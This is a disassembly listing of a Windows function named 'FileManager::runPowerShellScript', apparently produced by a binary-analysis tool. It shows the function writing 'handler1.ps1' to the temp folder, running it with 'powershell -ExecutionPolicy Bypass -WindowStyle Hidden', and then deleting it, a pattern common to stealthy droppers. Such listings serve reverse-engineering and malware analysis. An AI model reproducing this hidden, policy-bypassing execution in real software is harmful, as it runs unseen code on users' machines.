Function at 0x14000d180
Capabilities:
Delete file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x450
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x420], rax
mov qword [rsp + 0x48], rcx
xor esi, esi
mov dword [rsp + 0x44], esi
lea rdx, str.FileManager::runPowerShellScript
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009370
mov rcx, rax
lea rdx, [0x140013858]
call fcn.140009370
mov edx, 0x3a
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14000a0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [0x140013780]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x108]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x44], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x68], rax
mov byte [rsp + 0xe4], sil
mov byte [rsp + 0xd9], sil
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0xe8], rsi
mov rax, qword [0x14001d510]
mov qword [rsp + 0xdc], rax
mov qword [rsp + 0xd0], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], si
movups xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 0xf
mov byte [rsp + 0x170], sil
lea rdx, [rsp + 0x210]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r14, 0xffffffffffffffff
test eax, eax
je 0x14000d52f
lea rax, [rsp + 0x210]
mov rdx, r14
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x14000d330
mov rax, qword [rsp + 0x1c8]
cmp rdx, rax
ja 0x14000d381
lea rdi, [rsp + 0x1b0]
cmp rax, 7
cmova rdi, qword [rsp + 0x1b0]
mov qword [rsp + 0x1c0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x210]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], si
jmp 0x14000d39c
lea r9, [rsp + 0x210]
movzx r8d, byte [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.140009af0
lea r8, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova r8, qword [rsp + 0x1b0]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, dword [rsp + 0x1c0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rdx, rdi
xor r8d, r8d
lea rcx, [rsp + 0x1f0]
call fcn.14000a340
mov rbx, rax
lea rax, [rsp + 0x170]
cmp rax, rbx
je 0x14000d48d
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x14000d44b
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d446
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d4c7
call fcn.140010ea4
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 0xf
mov byte [rsp + 0x170], 0
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x170], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x180], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x208]
cmp rdx, 0xf
jbe 0x14000d4d3
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d4ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 0xf
cmova rax, qword [rsp + 0x170]
lea r8, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova r8, qword [rsp + 0x1b0]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x1c0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x44], r14d
mov r12, qword [rsp + 0x180]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, r12
cmp rax, 0xd
jb 0x14000ded8
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 0xf
cmova rdx, qword [rsp + 0x170]
mov qword [rsp + 0x50], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1a0], xmm1
lea rax, [r12 + 0xd]
mov ebx, 0xf
lea rdi, [rsp + 0x190]
cmp rax, rbx
jbe 0x14000d66c
mov rbx, rax
or rbx, 0xf
cmp rbx, r15
jbe 0x14000d5c6
mov rbx, r15
movabs r13, 0x8000000000000000
lea rax, [r13 + 0x27]
jmp 0x14000d615
mov edi, 0x16
cmp rbx, rdi
cmovb rbx, rdi
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000d5f5
mov rdi, rsi
movabs r13, 0x8000000000000000
mov qword [rsp + 0x190], rsi
jmp 0x14000d676
cmp rcx, 0x1000
jb 0x14000d646
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000dede
movabs r13, 0x8000000000000000
mov rcx, rax
call fcn.140010e68
test rax, rax
je 0x14000d715
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
lea rax, [r12 + 0xd]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x190], rdi
jmp 0x14000d676
call fcn.140010e68
mov rdi, rax
lea rax, [r12 + 0xd]
mov rdx, qword [rsp + 0x50]
movabs r13, 0x8000000000000000
mov qword [rsp + 0x190], rdi
jmp 0x14000d676
movabs r13, 0x8000000000000000
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rbx
mov r8, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.handler1.ps1]
movsd qword [rdi + r12], xmm0
mov eax, dword [0x140013890]
mov dword [rdi + r12 + 8], eax
movzx eax, byte [0x140013894]
mov byte [rdi + r12 + 0xc], al
mov byte [rdi + r12 + 0xd], 0
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x60]
call fcn.14000c440
nop
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0xf
jbe 0x14000d721
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d71c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d71c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14000d734
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400098a0
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0xe8], 0
je 0x14000d7f3
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rsp + 0xd8]
cmp rax, rcx
jne 0x14000d786
mov r9, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0xf0]
mov r8, rdx
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
lea rcx, [rsp + 0x68]
call fcn.14000a980
lea rbx, [rsp + 0x68]
test al, al
cmove rbx, rsi
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdi, rsi
test eax, eax
cmove rdi, rbx
mov byte [rsp + 0xe4], 0
mov byte [rsp + 0xd9], 0
lea rcx, [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0xe8], rsi
mov rax, qword [0x14001d510]
mov qword [rsp + 0xdc], rax
mov qword [rsp + 0xd0], rsi
test rdi, rdi
jne 0x14000d847
jmp 0x14000d828
mov byte [rsp + 0xe4], 0
mov byte [rsp + 0xd9], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0xe8], rsi
mov rax, qword [0x14001d510]
mov qword [rsp + 0xdc], rax
mov qword [rsp + 0xd0], rsi
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rdx, qword [rsp + 0x180]
mov qword [rsp + 0x50], rdx
mov rax, r15
sub rax, rdx
cmp rax, 0x3f
jb 0x14000dee4
lea r9, [rsp + 0x170]
cmp qword [rsp + 0x188], 0xf
cmova r9, qword [rsp + 0x170]
mov qword [rsp + 0x48], r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1e0], xmm1
lea r12, [rdx + 0x3f]
mov ebx, 0xf
lea rdi, [rsp + 0x1d0]
cmp r12, rbx
jbe 0x14000d936
mov rbx, r12
or rbx, 0xf
cmp rbx, r15
jbe 0x14000d8e2
mov rbx, r15
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140010e68
test rax, rax
je 0x14000d915
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000d924
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000d8fd
mov rdi, rsi
jmp 0x14000d92e
cmp rcx, 0x1000
jb 0x14000d91c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000deea
jmp 0x14000d8c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010e68
mov rdi, rax
mov r9, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x1d0], rdi
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x1e8], rbx
movaps xmm0, xmmword [str.powershell__ExecutionPolicy_Bypass___WindowStyle_Hidden__File__]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400138c0]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400138d0]
movups xmmword [rdi + 0x20], xmm0
movsd xmm0, qword [0x1400138e0]
movsd qword [rdi + 0x30], xmm0
mov eax, dword [0x1400138e8]
mov dword [rdi + 0x38], eax
movzx eax, word [0x1400138ec]
mov word [rdi + 0x3c], ax
movzx eax, byte [0x1400138ee]
mov byte [rdi + 0x3e], al
lea rcx, [rdi + 0x3f]
mov r8, rdx
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov rax, rdx
sub rax, rcx
cmp rax, 0xe
jb 0x14000da08
lea rax, [rcx + 0xe]
mov qword [rsp + 0x1e0], rax
lea rbx, [rsp + 0x1d0]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x1d0]
add rbx, rcx
mov r8d, 0xe
lea rdx, str.handler1.ps1_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xe], 0
lea rax, [rsp + 0x1d0]
jmp 0x14000da30
mov qword [rsp + 0x20], 0xe
lea r9, str.handler1.ps1_
movzx r8d, byte [rsp + 0x40]
mov edx, 0xe
lea rcx, [rsp + 0x1d0]
call fcn.140009c60
movups xmm7, xmmword [rax]
movups xmmword [rsp + 0x1f0], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rsp + 0x200], xmm6
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 0xf
jbe 0x14000da9c
inc rdx
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000da97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
movdqa xmm0, xmmword [0x140013950]
movdqu xmmword [rsp + 0x1e0], xmm0
mov byte [rsp + 0x1d0], 0
lea rdx, [rsp + 0x1f0]
movq rcx, xmm7
psrldq xmm6, 8
movq rax, xmm6
cmp rax, 0xf
cmova rdx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1a0], xmm1
nop dword [rax + rax]
inc r14
cmp byte [rdx + r14], 0
jne 0x14000daf0
mov r8, r14
lea rcx, [rsp + 0x190]
call fcn.140009640
nop
lea rcx, [rsp + 0x190]
call fcn.14000c8a0
mov r12d, eax
mov dword [rsp + 0x44], eax
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0xf
jbe 0x14000db65
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000db60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
lea rdx, str.ret:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009370
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14000a0f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x14000dbb2
mov ecx, 0x16
mov r14, qword [rsp + 0x180]
mov rax, r15
sub rax, r14
cmp rax, 0xd
jb 0x14000def0
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 0xf
cmova rdx, qword [rsp + 0x170]
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1a0], xmm1
lea rax, [r14 + 0xd]
mov ebx, 0xf
lea rdi, [rsp + 0x190]
cmp rax, rbx
jbe 0x14000dc94
mov rbx, rax
or rbx, 0xf
cmp rbx, r15
jbe 0x14000dc4d
mov rbx, r15
add r13, 0x27
mov rcx, r13
call fcn.140010e68
test rax, rax
je 0x14000dd34
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000dc83
cmp rbx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000dc63
mov rdi, rsi
jmp 0x14000dc8c
cmp rcx, 0x1000
jb 0x14000dc7b
lea r13, [rcx + 0x27]
cmp r13, rcx
jbe 0x14000def6
jmp 0x14000dc2e
call fcn.140010e68
mov rdi, rax
mov rdx, qword [rsp + 0x48]
lea rax, [r14 + 0xd]
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rbx
mov r8, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.handler1.ps1]
movsd qword [rdi + r14], xmm0
mov eax, dword [0x140013890]
mov dword [rdi + r14 + 8], eax
movzx eax, byte [0x140013894]
mov byte [rdi + r14 + 0xc], al
mov byte [rdi + r14 + 0xd], 0
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 0xf
cmova rcx, qword [rsp + 0x190]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0xf
jbe 0x14000dd41
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dd3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
nop
mov rdx, qword [rsp + 0x208]
cmp rdx, 0xf
jbe 0x14000dd88
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dd82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
nop
mov rdx, qword [rsp + 0x188]
cmp rdx, 0xf
jbe 0x14000ddce
inc rdx
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ddc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ddc9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 0xf
mov byte [rsp + 0x170], 0
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x14000de35
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000de30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010ea4
mov qword [rsp + 0x1c0], rsi
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], si
mov rcx, qword [rsp + 0x60]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rdx + 0x60], rax
mov rcx, qword [rsp + 0x60]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xa8]
mov dword [rsp + rdx + 0x5c], r8d
lea rcx, [rsp + 0x68]
call fcn.14000a5e0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, r12d
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.140011200
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.14000aba0
nop
call fcn.14000aad0
int3
call fcn.14000aba0
int3
call fcn.14000aad0
nop
call fcn.14000aba0
int3
call fcn.14000aad0
int3